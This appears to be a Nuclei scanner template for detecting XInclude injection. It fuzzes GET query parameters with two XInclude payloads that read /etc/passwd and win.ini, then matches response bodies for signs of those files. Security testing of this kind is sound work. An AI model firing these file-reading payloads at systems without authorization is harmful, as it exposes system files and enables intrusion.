id: xinclude-injection

info:
  name: XInclude Injection - Detection
  author: DhiyaneshDK,ritikchaddha
  severity: high
  description: |
    XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.
  reference:
    - https://d0pt3x.gitbook.io/passion/webapp-security/xxe-attacks/xinclude-attacks
  tags: dast,xxe,xinclude,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      xinc_fuzz:
        - '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></asd>'
        - '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></asd>'

    fuzzing:
      - part: query
        type: replace # replaces existing parameter value with fuzz payload
        mode: multiple # replaces all parameters value with fuzz payload
        fuzz:
          - '{{xinc_fuzz}}'

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        name: linux
        part: body
        regex:
          - 'root:[^:]*:\d+:\d+:'

      - type: word
        name: windows
        part: body
        words:
          - 'for 16-bit app support'
# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950